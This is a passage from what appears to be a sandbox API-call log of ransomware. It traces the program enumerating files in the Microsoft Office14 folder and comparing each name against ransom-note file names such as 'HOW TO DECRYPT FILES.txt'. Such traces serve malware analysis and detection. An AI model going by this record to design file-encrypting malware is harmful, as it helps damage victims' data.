pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.203] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdb13800, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x543977b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcdb13800, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0xa780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.FormControl.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0066.203] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.203] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.InfoPath.FormControl.dll") returned -1 [0066.203] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.InfoPath.FormControl.dll") returned -1 [0066.204] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.InfoPath.FormControl.dll") returned -1 [0066.204] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll") returned="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll" [0066.204] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.204] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.204] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0139200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x61e95fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0139200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x63790, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", cAlternateFileName="MIE42F~1.DLL")) returned 1 [0066.204] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.204] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.Interop.InfoPath.SemiTrust.dll") returned -1 [0066.204] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.Interop.InfoPath.SemiTrust.dll") returned -1 [0066.204] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.Interop.InfoPath.SemiTrust.dll") returned -1 [0066.204] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.InfoPath.FormControl.dll") returned="Microsoft.Office.InfoPath.FormControl.dll" [0066.204] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.204] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.204] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x542d90d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0xc5265, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", cAlternateFileName="MICROS~1.XML")) returned 1 [0066.204] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.204] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.Interop.InfoPath.SemiTrust.xml") returned -1 [0066.204] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.Interop.InfoPath.SemiTrust.xml") returned -1 [0066.204] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.Interop.InfoPath.SemiTrust.xml") returned -1 [0066.205] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.SemiTrust.dll") returned="Microsoft.Office.Interop.InfoPath.SemiTrust.dll" [0066.205] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.205] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.205] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0139200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x561caed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0139200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x15780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.Xml.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0066.205] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.205] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.Interop.InfoPath.Xml.dll") returned -1 [0066.205] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.Interop.InfoPath.Xml.dll") returned -1 [0066.205] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.Interop.InfoPath.Xml.dll") returned -1 [0066.205] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.SemiTrust.xml") returned="Microsoft.Office.Interop.InfoPath.SemiTrust.xml" [0066.205] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.205] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.205] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62def200, ftCreationTime.dwHighDateTime=0x1c9bc30, ftLastAccessTime.dwLowDateTime=0x65d38290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x62def200, ftLastWriteTime.dwHighDateTime=0x1c9bc30, nFileSizeHigh=0x0, nFileSizeLow=0x837d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.Xml.xml", cAlternateFileName="MI4026~1.XML")) returned 1 [0066.205] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.205] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.Interop.InfoPath.Xml.xml") returned -1 [0066.206] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.Interop.InfoPath.Xml.xml") returned -1 [0066.206] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.Interop.InfoPath.Xml.xml") returned -1 [0066.206] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.dll") returned="Microsoft.Office.Interop.InfoPath.Xml.dll" [0066.206] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.206] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.206] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x102e00, ftCreationTime.dwHighDateTime=0x1cab7e3, ftLastAccessTime.dwLowDateTime=0x853ab920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x102e00, ftLastWriteTime.dwHighDateTime=0x1cab7e3, nFileSizeHigh=0x0, nFileSizeLow=0x12798, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", cAlternateFileName="MIAE71~1.DLL")) returned 1 [0066.206] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.206] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll") returned -1 [0066.206] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll") returned -1 [0066.206] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll") returned -1 [0066.206] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.xml") returned="Microsoft.Office.Interop.InfoPath.Xml.xml" [0066.206] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.206] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.207] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x853ab920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x67760, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.office.workflow.actions.proxy.dll", cAlternateFileName="MIF37A~1.DLL")) returned 1 [0066.207] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.207] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="microsoft.office.workflow.actions.proxy.dll") returned -1 [0066.207] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="microsoft.office.workflow.actions.proxy.dll") returned -1 [0066.207] lstrcmpiA (lpString1="", lpString2="microsoft.office.workflow.actions.proxy.dll") returned -1 [0066.207] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll") returned="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll" [0066.207] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.207] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.207] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17441800, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x5687ccb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17441800, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x7d780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SharePoint.BusinessData.Administration.Client.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0066.207] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.207] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.SharePoint.BusinessData.Administration.Client.dll") returned -1 [0066.207] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.SharePoint.BusinessData.Administration.Client.dll") returned -1 [0066.207] lstrcmpiA (lpString1="", lpString2="Microsoft.SharePoint.BusinessData.Administration.Client.dll") returned -1 [0066.207] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\microsoft.office.workflow.actions.proxy.dll") returned="microsoft.office.workflow.actions.proxy.dll" [0066.207] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.207] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.207] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe853200, ftCreationTime.dwHighDateTime=0x1ca24ae, ftLastAccessTime.dwLowDateTime=0x5687ccb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe853200, ftLastWriteTime.dwHighDateTime=0x1ca24ae, nFileSizeHigh=0x0, nFileSizeLow=0x311b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SharePoint.BusinessData.Administration.Client.xml", cAlternateFileName="MICROS~2.XML")) returned 1 [0066.208] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.208] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.SharePoint.BusinessData.Administration.Client.xml") returned -1 [0066.209] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.SharePoint.BusinessData.Administration.Client.xml") returned -1 [0066.209] lstrcmpiA (lpString1="", lpString2="Microsoft.SharePoint.BusinessData.Administration.Client.xml") returned -1 [0066.209] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.SharePoint.BusinessData.Administration.Client.dll") returned="Microsoft.SharePoint.BusinessData.Administration.Client.dll" [0066.209] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.209] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.209] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x853ab920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x74760, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.sharepoint.workflowactions.proxy.dll", cAlternateFileName="MI6AA3~1.DLL")) returned 1 [0066.209] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.209] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="microsoft.sharepoint.workflowactions.proxy.dll") returned -1 [0066.209] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="microsoft.sharepoint.workflowactions.proxy.dll") returned -1 [0066.209] lstrcmpiA (lpString1="", lpString2="microsoft.sharepoint.workflowactions.proxy.dll") returned -1 [0066.209] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.SharePoint.BusinessData.Administration.Client.xml") returned="Microsoft.SharePoint.BusinessData.Administration.Client.xml" [0066.209] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.209] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.209] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x69c26830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x84760, dwReserved0=0x0, dwReserved1=0x0, cFileName="MIMEDIR.DLL", cAlternateFileName="")) returned 1 [0066.209] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.209] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MIMEDIR.DLL") returned -1 [0066.209] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MIMEDIR.DLL") returned -1 [0066.209] lstrcmpiA (lpString1="", lpString2="MIMEDIR.DLL") returned -1 [0066.209] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\microsoft.sharepoint.workflowactions.proxy.dll") returned="microsoft.sharepoint.workflowactions.proxy.dll" [0066.210] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.210] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.210] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2796a00, ftCreationTime.dwHighDateTime=0x1cacb3c, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2796a00, ftLastWriteTime.dwHighDateTime=0x1cacb3c, nFileSizeHigh=0x0, nFileSizeLow=0x8b760, dwReserved0=0x0, dwReserved1=0x0, cFileName="misc.exe", cAlternateFileName="")) returned 1 [0066.210] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.210] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="misc.exe") returned -1 [0066.210] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="misc.exe") returned -1 [0066.210] lstrcmpiA (lpString1="", lpString2="misc.exe") returned -1 [0066.210] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MIMEDIR.DLL") returned="MIMEDIR.DLL" [0066.210] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.210] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.210] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x58adaa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x12588, dwReserved0=0x0, dwReserved1=0x0, cFileName="MLCFG32.CPL", cAlternateFileName="")) returned 1 [0066.210] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.210] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MLCFG32.CPL") returned -1 [0066.210] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MLCFG32.CPL") returned -1 [0066.210] lstrcmpiA (lpString1="", lpString2="MLCFG32.CPL") returned -1 [0066.210] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\misc.exe") returned="misc.exe" [0066.210] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.210] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.210] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x5980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MLSHEXT.DLL", cAlternateFileName="")) returned 1 [0066.210] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.210] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MLSHEXT.DLL") returned -1 [0066.210] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MLSHEXT.DLL") returned -1 [0066.210] lstrcmpiA (lpString1="", lpString2="MLSHEXT.DLL") returned -1 [0066.210] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MLCFG32.CPL") returned="MLCFG32.CPL" [0066.211] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.211] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.211] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79fd00, ftCreationTime.dwHighDateTime=0x1c9cdff, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe79fd00, ftLastWriteTime.dwHighDateTime=0x1c9cdff, nFileSizeHigh=0x0, nFileSizeLow=0x25f87, dwReserved0=0x0, dwReserved1=0x0, cFileName="MML2OMML.XSL", cAlternateFileName="")) returned 1 [0066.211] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.211] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MML2OMML.XSL") returned -1 [0066.211] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MML2OMML.XSL") returned -1 [0066.211] lstrcmpiA (lpString1="", lpString2="MML2OMML.XSL") returned -1 [0066.211] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MLSHEXT.DLL") returned="MLSHEXT.DLL" [0066.211] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.211] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.211] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee75d00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6140cc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ee75d00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x9f368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MODELENG.DLL", cAlternateFileName="")) returned 1 [0066.211] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.211] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MODELENG.DLL") returned -1 [0066.211] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MODELENG.DLL") returned -1 [0066.211] lstrcmpiA (lpString1="", lpString2="MODELENG.DLL") returned -1 [0066.211] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MML2OMML.XSL") returned="MML2OMML.XSL" [0066.211] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: 